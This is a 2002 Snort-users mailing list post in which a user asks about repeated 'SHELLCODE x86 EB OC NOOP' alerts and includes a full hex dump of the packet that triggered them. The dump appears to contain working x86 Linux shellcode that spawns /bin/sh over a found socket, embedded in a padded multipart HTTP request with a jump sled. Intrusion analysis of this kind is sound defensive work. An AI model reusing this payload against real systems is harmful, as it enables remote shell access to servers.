Snort mailing list archives
SHELLCODE x86 EB OC NOOP
From: "Tony" <tandcwong () attbi com>
Date: Sun, 21 Apr 2002 13:22:55 -0700
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Can someone please explain what the following is in alerts? SHELLCODE x86 EB OC NOOP I am getting a ton of them. the dump is: length = 1448 000 : 31 DB F7 E3 B0 02 CD 80 0B C0 74 05 33 C0 40 CD 1.........t.3.@. 010 : 80 31 DB F7 E3 B0 02 CD 80 0B C0 74 05 33 C0 40 .1.........t.3.@ 020 : CD 80 31 DB F7 E3 43 8B CB B0 30 CD 80 31 DB F7 ..1...C...0..1.. 030 : E3 B0 1B CD 80 60 89 E2 6A 20 54 52 31 C9 51 59 .....`..j TR1.QY 040 : 41 51 89 E1 6A 06 5B 6A 66 58 CD 80 09 C0 75 EF AQ..j.[jfX....u. 050 : 8B 02 F7 D8 3D FE FF FF AF 75 E4 5B 31 C9 6A 3F ....=....u.[1.j? 060 : 58 CD 80 FE C1 B0 3F CD 80 FE C1 B0 3F CD 80 B0 X.....?.....?... 070 : 0B 99 52 68 6E 2F 73 68 68 2F 2F 62 69 89 E3 52 ..Rhn/shh//bi..R 080 : 53 89 E1 60 6A 04 58 99 68 E0 30 B4 F5 5F F7 DF S..`j.X.h.0.._.. 090 : 57 68 20 32 32 30 68 2F 31 2E 31 68 48 54 54 50 Wh 220h/1.1hHTTP 0a0 : 89 E1 31 DB B2 10 CD 80 58 58 58 58 61 CD 80 2D ..1.....XXXXa..- 0b0 : 2D 68 15 0D 0A 43 6F 6E 74 65 6E 74 2D 44 69 73 - -h...Content-Dis 0c0 : 70 6F 73 69 74 69 6F 6E 3A 20 66 6F 72 6D 2D 64 position: form-d 0d0 : 61 74 61 3B 20 6E 61 6D 65 3D 22 CC CC CC CC CC ata; name="..... 0e0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 0f0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 100 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 110 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 120 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 00 ................ 130 : 00 00 00 99 FF FF FF 3C F5 FF BF 4C F5 FF BF CC .......<...L.... 140 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 150 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 160 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 170 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 180 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 190 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 1a0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 1b0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 1c0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 1d0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 1e0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 1f0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 200 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 210 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 220 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 230 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 240 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 250 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 260 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 270 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 280 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 290 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 2a0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 2b0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 2c0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 2d0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 2e0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 2f0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 300 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 310 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 320 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 330 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 340 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 350 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 360 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 370 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 380 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 390 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 3a0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 3b0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 3c0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 3d0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 3e0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 3f0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 400 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 410 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 420 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 430 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 440 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 450 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 460 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 470 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 480 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 490 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 4a0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 4b0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 4c0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 4d0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 4e0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 4f0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 500 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 510 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 520 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 530 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 540 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 550 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 560 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ................ 570 : CC CC CC CC CC CC CC 22 3B 20 66 69 6C 65 6E 61 ......."; filena 580 : 6D 65 3D 22 EB 0C EB 0C EB 0C EB 0C EB 0C EB 0C me="............ 590 : EB 0C EB 0C EB 0C EB 0C EB 0C EB 0C EB 0C EB 0C ................ 5a0 : EB 0C EB 0C EB 0C EB 0C ........ -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com> iQA/AwUBPMMfnD+r8aZilb4WEQJB5QCgvUd9qw73ZT1VpSfQb5/wmxH3YUcAoPVz SBvKdjeyua20dGQloGpaSt4X =02S6 -----END PGP SIGNATURE----- _______________________________________________ Snort-users mailing list Snort-users () lists sourceforge net Go to this URL to change user options or unsubscribe: https://lists.sourceforge.net/lists/listinfo/snort-users Snort-users list archive: http://www.geocrawler.com/redir-sf.php3?list=snort-users
Current thread:
- SHELLCODE x86 EB OC NOOP Tony (Apr 22)